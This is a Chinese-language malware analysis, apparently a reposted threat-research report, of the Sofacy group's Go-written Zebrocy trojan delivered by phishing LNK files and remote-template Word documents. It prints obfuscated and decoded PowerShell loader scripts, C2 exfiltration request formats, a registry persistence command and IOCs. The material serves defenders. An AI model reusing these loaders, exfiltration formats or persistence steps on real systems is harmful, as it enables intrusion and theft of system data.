继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

栏目: Go · 发布时间: 6年前

内容简介:我们的研究表明,到目前为止,我们一共观察到了两波旨在传播

继续Go!Go!Go!Sofacy组织已使用 <a href='https://www.codercto.com/topics/6127.html'>Go</a> 语言开发出新的Zebrocy变种

我们的研究表明, Sofacy 组织仍在继续使用他们的 Zebrocy 木马实施攻击。无论是在 2018 年第一季度的攻击活动 中,还是 10 月底和 11 月初 攻击活动 中,我们都看到了 Sofacy 组织对该木马的使用。最近, Zebrocy 的开发人员再次使用不同的编程语言—— Go 语言 创建了一个新的 Zebrocy 变种。需要说明的是,使用不同的编程语言来创建具有类似功能的木马变种对于该组织来说并是什么新鲜事。因为,我们在此前的攻击活动中就已经看到了使用 AutoItDelphiVB.NETC#Visual C++ 等不同编程语言创建的各种 Zebrocy 变种。虽然,我们还不能完全确定 Sofacy 组织这样做的目的。但我们有理由相信,该组织之所以会选择使用多种编程语言来创建他们的木马,极有可能是为了增加其木马逃过安全检测的机率。

到目前为止,我们一共观察到了两波旨在传播 Go Zebrocy 变种的攻击。第一波攻击发生在 1011 日,攻击媒介是一封以一个 LNK 快捷方式文件作为其附件的鱼叉式网络钓鱼电子邮件。这个 LNK 文件被用于运行多个 PowerShell 脚本,以提取将要安装和执行的 payload 。但是,由于这些 PowerShell 脚本存在编码错误,因此它们无法正确安装或执行 payload 。换句话来说,在本文中讨论的攻击是不可能取得成功的,但其技术细节仍值得探讨,因为这有助于我们掌握 Sofacy 攻击活动的发展趋势。值得一提的是,其中一个 Go Zebrocy 样本与此前 Sofacy 组织在 10 月中旬到 11 月中旬进行的 Dear Joohn 行动 联系在了一起。

第一波攻击

这起攻击发生在 20181011 日,攻击媒介是一封鱼叉式网络钓鱼电子邮件,讨论的是美国新制裁对俄罗斯经济的影响。“ From (发件人)”字段和正文末尾的签名均包含目标组织工作人员的姓名,而“ To (收件人)”字段为空。这使得我们有理由相信,目标个人被包含在了“ Bcc (抄送)”字段中。图 1 展示的是在这起攻击中使用的钓鱼电子邮件。  

继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

1 .Go Zebrocy 攻击中使用的钓鱼电子邮件

Payload

恶意文件 ПротиводействиеДумыСанкциямСША.docSHA256d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e )试图伪装成 Word 文档,但该文件实际上是一个 LNK 快捷方式文件。在被打开之后,它会尝试在命令提示符中运行以下命令行:

powershell.exe -nop -w 1 $i853=[TeXt.EnCoDING]::utF8.geTStrInG([conVErT]::frOmbaSE64stRing('JHAxLCRwMj0zNjU5LDY5MjQ3NjQ7JHBhdGhUb0xOSz0nQzUgcmVnaW9uYWwgY29uZmVyZW5jZSBhbmQgdHJhaW5pbmcgd29ya3Nob3Agb24gY29tbXVuaXR5IHBvbGljaW5nKDEpLmRvY3gubG5rJztpZigtbk9UKFRlU3QtcEF0SCAkcGF0aFRvTE5LKSl7JERpckQ9R2VULUNISUxkSVRFTSAtcEF0aCAkZW52OnRlbXAgLWZpTFRlciAkcGF0aFRvTE5LIC1yRWNVclNFO1tpTy5kaVJlY3RvUlldOjpzRVRDVXJyZW50RElyRWN0b1JZKCREaXJELmRJcmVDVE9SWU5BTWUpO30kRmlsZVN0cmVhbWE9bkV3LW9iakVDVCBpby5mSUxlU1RyZUFtICRwYXRoVG9MTkssJ09wZU4nLCdSZUFkJywncmVhRHdSSVRFJzskQXJyYXlNYXM9TkV3LW9iamVjVCBieVRFW10oJHAyKTskRmlsZVN0cmVhbWEuU0VlSygkcDEsW2lvLlNlRUtvUmlHaW5dOjpCRUdpbik7JEZpbGVTdHJlYW1hLnJFQUQoJEFycmF5TWFzLDAsJHAyKTskQXJyYXlNYXM9W0NvbnZlclRdOjpGck9tYmFzRTY0Q0hhckFyUkF5KCRBcnJheU1hcywwLCRBcnJheU1hcy5MZU5HVGgpOyRkdWFjYWp1QT1bdGV4VC5FbkNPZEluR106OlVuaWNvZGUuZ0VUc3RSSW5nKCRBcnJheU1hcyk7aWVYICRkdWFjYWp1QTs='));ieX $i853;

接下来,它会使用一个 PowerShell 脚本对第二个 PowerShell 脚本进行 base64 解码,并执行它。第二个 PowerShell 脚本解码后的内容如下:

$p1,$p2=3659,6924764;$pathToLNK='C5 regional conference and training workshop on community policing(1).docx.lnk';if(-nOT(TeSt-pAtH $pathToLNK)){$DirD=GeT-CHILdITEM -pAth $env:temp -fiLTer $pathToLNK -rEcUrSE;[iO.diRectoRY]::sETCUrrentDIrEctoRY($DirD.dIreCTORYNAMe);}$FileStreama=nEw-objECT io.fILeSTreAm $pathToLNK,'OpeN','ReAd','reaDwRITE';$ArrayMas=NEw-objecT byTE[]($p2);$FileStreama.SEeK($p1,[io.SeEKoRiGin]::BEGin);$FileStreama.rEAD($ArrayMas,0,$p2);$ArrayMas=[ConverT]::FrOmbasE64CHarArRAy($ArrayMas,0,$ArrayMas.LeNGTh);$duacajuA=[texT.EnCOdInG]::Unicode.gETstRIng($ArrayMas);ieX $duacajuA;

第二个 PowerShell 脚本脚本会尝试直接从上述 LNK 文件中提取另一个 PowerShell 脚本,然后执行它。但由于某种未知的原因,第二个 PowerShell 脚本包含的是一个错误的 LNK 文件名—— C5 regional conference and training workshop on community policing(1).docx.lnk ,而不是上述 ПротиводействиеДумыСанкциямСША.doc 。由于该 LNK 文件名与电子邮件附件的文件名不匹配,因此攻击不会取得成功,因为第二个 PowerShell 脚本将无法提取到将要安装在系统上的 payload 。我们怀疑, C5 regional conference and training workshop on community policing(1).docx.lnk 可能是在早期活动中被使用过的恶意文档,而 Zebrocy 的开发人员似乎忘了对它进行修改似乎忘了对它进行修改。

如果该脚本包含的是正确的文件名,那么它将使用硬编码偏移量“ 3659 ”找到 LNK 文件中的 PowerShell 脚本,然后提取并执行它。从 LNK 文件中提取的最后一个 PowerShell 脚本包含以下内容(为了便于查看,我们在这里使用“ [..snip ..] ”替换了一些数据):

$6vlJwyyB = @('C5 regional conference and training workshop on community policing(1).exe','C5 regional conference and training workshop on community policing(1).docx');$TcCd3Fej = "C5 regional conference and training workshop on community policing(1).exe";$Aq3NkyDG = @("TVqQAAMA[..snip..]","UEsDBBQABgAIAA[..snip..]");$ggdDQhlx = "C5 regional conference and training workshop on community policing(1).docx";FOR($I=0;$I -lt $6vLjwYYb.LengTH;$i++){[BYtE[]]$YGktk0Nk = [cOnveRt]::frOmBaSE64StriNg($aq3nkYDg[$I]);[syStEm.IO.fILE]::WrItEaLlbYtES($EnV:pUbLIc+""+$6VLJwYYB[$I],$YGktK0nk);}$qsVmUm76 = $Env:public+""+$tCcd3Fej;$GGdDQhLxPatH = $env:publIC+""+$gGddQHLX;staRT-pROCess -wINDowstylE HIDdeN -FIlepAth $qsVMuM76;StART-ProceSs -FilepaTh $GgDdQHlxpATH;

最后一个 PowerShell 脚本被用于解码将要写入 %PUBLIC% 文件夹中的一个可执行文件和一份 Word 文档,它们的文件名分别为 C5 regional conference and training workshop on community policing(1).exeC5 regional conference and training workshop on community policing(1).docx 。解码后的 Word 文档内容( SHA256b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b )如图 2 所示,看上去是一份会议议程。该会议于 2018618 日至 20 日在塔吉克斯坦杜尚别举行,由 安全世界国际组织 Saferworld 美国和平研究所( United States Institute of Peace USIP 主办。  

继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

2.Go Zebrocy 安装过程中打开的诱饵文档

而解码后的可执行文件便是 payloadSHA256fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e ),它是使用 Go 语言编写的,是 Zebrocy 木马的另一个变种。使用另一种编程语言来创建具有类似功能的木马变种对于 Sofacy 组织来说很平常,正如我们所看到的那样,该组织此前已经使用 AutoItDelphiVB.NETC#Visual C++ 创建了多个不同的 Zebrocy 变种。

这个 payload 与此前的 Zebrocy 变种之间存在大量的相似之处。与其他 Zebrocy 变种一样,这个采用 Go 语言编写的 Zebrocy 变种也会在受感染系统上进行初始信息收集,并将这些信息传输给 C2 服务器,以及尝试从 C2 下载、安装和执行其他 payload 。此外, Go Zebrocy 一些行为方面也与其他变种之间存在一些相似之处,这包括:

使用十六进制 ASCII 码混淆字符串

使用的卷序列号不包含从 VOL 命令中获取到的连字符

使用来自出站 C2 beacon 中的“ systeminfo ”和“ tasklist ”的输出

C2 beacon 中使用字符串“ PrgStart

Go Zebrocy 和其他变种之间最明显的相似之处在于使用了一个相同的 C2 URL —— hxxp://89.37.226[.]148/technet-support/library/online-service-description.php?id_name= ,这个 URL 同样也被 Delphi Zebrocy 变种样本 de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593 所使用。

Go Zebrocy 试图通过检查其进程的可执行文件名中是否包含“ ) ”字符来逃避自动分析。如果文件名不包含“ ) ”字符,那么它会立即退出,而不执行其功能代码。

另一方面,这个 Zebrocy 变种使用了 HTTP POST 请求来与其 C2 进行交互,而收集的系统信息就包含在 HTTP POST 请求中。具体来说,这些系统信息包括:

通过“ tasklist ”命令收集的正在运行的进程。

通过“ systeminfo ”命令的收集系统信息。

通过 WMI 命令“ wmic logicaldisk get caption,description,drivetype,providername,size ”收集的本地磁盘信息。

使用 开源 Go 抓取的桌面屏幕截图。

Go Zebrocy 与其 C2 之间的 C2 通信具有如下结构:

POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1

Host: 89.37.226[.]148

User-Agent: Go-http-client/1.1

Content-Length: 570690

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

attach=PrgStart%3A[运行木马的路径]%0D%0A%5B[当前时间]%5D%0D%0A%0D%0A[来自“wmic logicaldisk get caption,description,drivetype,providername,size命令的结果”]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[来自“systeminfo”命令的结果]%0D%0A%0D%0A%0D%0A[来自“tasklist”命令的结果]%0D%0A&support=[转换为十六进制ASCII码的屏幕截图]

C2 将以十六进制 ASCII 码编码的 payload 作为对此 HTTP POST 请求的响应,  payload 将被解码并保存为如下文件:

%APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32srv.exe

然后, payload  将使用 golang os/exec 执行这个新创建的文件,其中涉及到使用 “Command”“Run” 函数运行以下命令行:

cmd /C %APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32srv.exe

第二波攻击

如上所述,我们观察到的第二波旨在传播 Go Zebrocy 变种的攻击与 我们之前 讨论 的“ Dear Joohn 行动” 存在一定联系。虽然 Dear Joohn 行动发生在 201810 月中旬至 11 月中旬,而用于传播 Go Zebrocy 变种的恶意文档( SHA256346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 )是在 123 日创建的,但该恶意文档同样使用了 Joohn 这个作者名。

Dear Joohn 行动一样,该恶意文档也会通过 HTTP 下载一个远程模板( SHA25607646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 ),而该模板同样使用了出现在 Dear Joohn 行动中的作者名: xxx 。在打开该恶意文档之后,可以看到如图 3 所示的诱饵图片,它旨在诱使收件人点击“ Enable Content (启用内容)”,以运行包含在远程模板中的恶意宏。  

继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

3. 旨在诱使收件人用户点击 “Enable Content (启用内容) 按钮的诱饵图片

恶意文档被配置为从 hxxps://bit[.]ly/2G8QrgL 下载远程模板,如下图所示(这个短网址包含在文档的 word/_rels/settings.xml.rels 文件中):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxps://bit[.]ly/2G8QrgL" TargetMode="External"/></Relationships>

上述 hxxps://bit[.]ly/2G8QrgL 短网址会重定向到一个托管远程模板 hxxp://89.37.226[.]123/Templates/NormalOld.dotmURL 。值得注意的是,此前出现在 Dear Joohn 行动中的恶意文档并没有使用短网址来下载远程模板,这表明在此行动中使用的技术已经发生了改变。幸运的是,这个短网址为我们提供了一些有关访问者及其所处国家的统计数据。如图 4 所示,这个短网址是在 2018123 日下午 12:56 创建的,截止到 2018125 日,一共被访问了 75 次,其中大部分来自土耳其。

继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

4. 短网址的访问统计数据( 2018125 日)

通过这个短网址下载的远程模板包含一个类似于出现在 Dear Joohn 行动中的恶意宏。不同之处在于,它被用于从远程模板( SHA256c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 )中提取一个 ZIP 压缩文件   ,并将其保存为 driver_pack.zip 。这个 ZIP 压缩文件包含一个名为“ driver_pack.exe ”的可执行文件( SHA256b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 ),而它实际上是一个 WinRAR SFX 可执行文件,其中包含另一个名为“ comsvc.exe ”的可执行文件。这个 WinRAR SFX 存档会使用以下 SFX 脚本来提取 comsvc​​.exe payload

Path=%APPDATA%AppHistory

Setup=comsvc.exe

Silent=1

Overwrite=2

上述 comsvc​​.exe 可执行文件( SHA25693680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa )实际上是一个经过 UPX 加壳的 Go Zebrocy 样本( SHA256: 15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7 )。该样本被用作一个 downloader ,负责从 C2 下载并执行辅助 payload

与其他 Zebrocy 变种一样,这个 Go Zebrocy 样本会检查正在运行的进程的路径是否包含“ comsvc ”字符串,以确保 payload 最终会被保存为 comsvc​​.exe 。如果 Go Zebrocy 样本不是作为 comsvc​​.exe 运行的,那么它会向 google[.]com 发送一个 HTTP POST 请求,而不是像其他 Zebrocy 变种那样会退出。我们认为,这是另一种用来逃过安全检测的手段。图 5 展示的是 Go Zebrocy 样本发送给 google[.]comHTTP 请求。

继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

5.Go Zebrocy 发送给 google[.]comHTTP POST 请求

对图 5 中的 HTTP POST 请求进行解码,我们可以看到发送的数据为 <#0>0<##0><#1>1<##1><#2>1<##2> ,并不包含任何收集的系统信息。在该样本作为 comsvc.exe 运行的情况,它将通过以下 URLC2 服务器进行通信:

hxxp://89.37.226[.]123/advance/portable_version/service.php

它能够收集硬盘卷序列号,抓取系统的屏幕截图( T1113 ),并使用在 Github 上公开可用的一个名为“ psutil ”的库来收集一些特定的系统信息。具体来说,它将通过调用 psutil 库中的 Host Info 函数来收集系统信息(操作系统、版本等)、系统启动时间、系统正常运行时间、系统的 GUID 以及正在运行的进程的 ID 。随后,它将通过向上述 URL  发送 HTTP POST 请求来将收集到的信息传输给 C2 ,数据结构如下所示:

project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[硬盘卷序列号]%3C%23%230%3E%3C%231%3E[收集的系统信息]%3C%23%231%3E%3C%232%3E[JPEG格式的屏幕截图]%3C%23%232%3E

HTTP POST 请求中的十六进制字符被用作分隔符,如下所示:

<#0>[硬盘卷序列号]<##0><#1>[收集的系统信息]<##1><#2>[ JPEG格式的屏幕截图]<##2>

C2 将使用十六进制编码的 payload 作为对上述请求的响应,而 Go Zebrocy 会将它保存到系统并执行。另外, Go Zebrocy 还会将下载的辅助 payload 写入以下文件:

%LOCALAPPDATA%MicrosoftFeeds{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~wcncsvc.exe

在执行这个文件之前, Go Zebrocy 将首先创建一个开机自启动注册表项,以便在每次用户使用以下命令行登录系统时辅助 payload 都能自动运行:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v Media Center Extender Service

C2 下载的辅助 payload 实际上是另一个使用 Go 语言编写的木马 (SHA256: 50d610226aa646dd643fab350b482196918305aaa86f9dbd356c78a19204cc) ,只是攻击者使用 UPX 对它进行了加壳( SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc )。这个辅助 payload 是另一个使用 HTTPS 而不是 HTTP 进行 C2 通信的 downloader 。它使用如下 URL 作为它的 C2 ,并与其进行通信。

hxxps://190.97.167[.]186/pkg/image/do.php

通过 HTTPS 发送的 HTTP POST 请求如下图所示,它包含硬盘卷序列号的前四个字节和主机名的前四个字符,如图 6 所示。

继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

6. 由辅助 payload 发送的 HTTP POST 请求

总结

Sofacy 组织仍在继续使用 Zebrocy 木马变种来实施攻击,而 Zebrocy 的开发人员也仍在继续使用不同的编码语言创建该木马的新变种,比如 Go 语言。 Zebrocy 的开发人员在 LNK 快捷方式文件上似乎犯了一些严重的错误,导致攻击最终以失败告终。不过,无论攻击的有效性如何,对技术细节的分析仍然有助于我们预测该组织可能会在未来的攻击中使用的 payload 和基础设施。可以肯定的是, Sofacy 组织必然会在不同的攻击活动中使用这些新的 Zebrocy 变种。因为,就拿 Go Zebrocy 变种来说,它不仅能够通过 LNK 快捷方式文件进行传播,而且还能够通过 Word 文档进行传播。

IOC

Go Zebrocy 变种:

fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa

Go Zebrocy C2

hxxp://89.37.226[.]148/technet-support/library/online-service-description.php

89.37.226[.]148

hxxp://89.37.226[.]123/advance/portable_version/service.php

89.37.226[.]123

相关的 Zebrocy 样本:

de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71

daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593

308b41db9e3b332bb5b3e5ec633907761eac5082029b8b32e6b063b8c76b7365

f93b89a707c647ba492efe4515bb69a627ce14f35926ee4147e13d2e030ab55b

1ff4e56419ad1814726ca143fc256cca4c8588605536c48dd79cfed12cb0763a

Dear Joohn 行动相关的散列值:

346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 – 恶意文档

07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 – 远程模板

c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 – 远程模板中的 ZIP 文件

b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 –ZIP 文件中的 WinRAR SFX 文件

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa – Go Zebrocy 样本

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc – 辅助 payload

Dear Joohn 行动相关的 URL

hxxps://bit[.]ly/2G8QrgL – 远程模板短网址

hxxp://89.37.226[.]123/Templates/NormalOld.dotm – 远程模板 URL

hxxp://89.37.226[.]123/advance/portable_version/service.php – Go Zebrocy HTTP C2

hxxps://190.97.167[.]186/pkg/image/do.php – 辅助 payload HTTPS C2

辅助 payload 散列值:

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc

辅助 payload C2

hxxps://190.97.167[.]186/pkg/image/do.php

190.97.167[.]186


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

AI极简经济学

AI极简经济学

阿杰伊·阿格拉沃尔、乔舒亚·甘斯、阿维·戈德法布 / 闾佳 / 湖南科技出版社 / 2018-12-1 / 58.00

人工智能正在以不可阻挡的态势席卷全球。无论是iPhone的神经网络引擎、AlphaGo的围棋算法,还是无人驾驶、深度学习……毫无疑问,人工智能正在改写行业形态。如同此前个人电脑、互联网、大数据的风行一般,技术创新又一次极大地改变了我们的工作与生活。 那么,究竟应该如何看待人工智能?在《AI极简经济学》一书中,三位深耕人工智能和决策领域的经济学家给出了清晰的答案。他们以坚实的经济学理论剖析动态,把握......一起来看看 《AI极简经济学》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具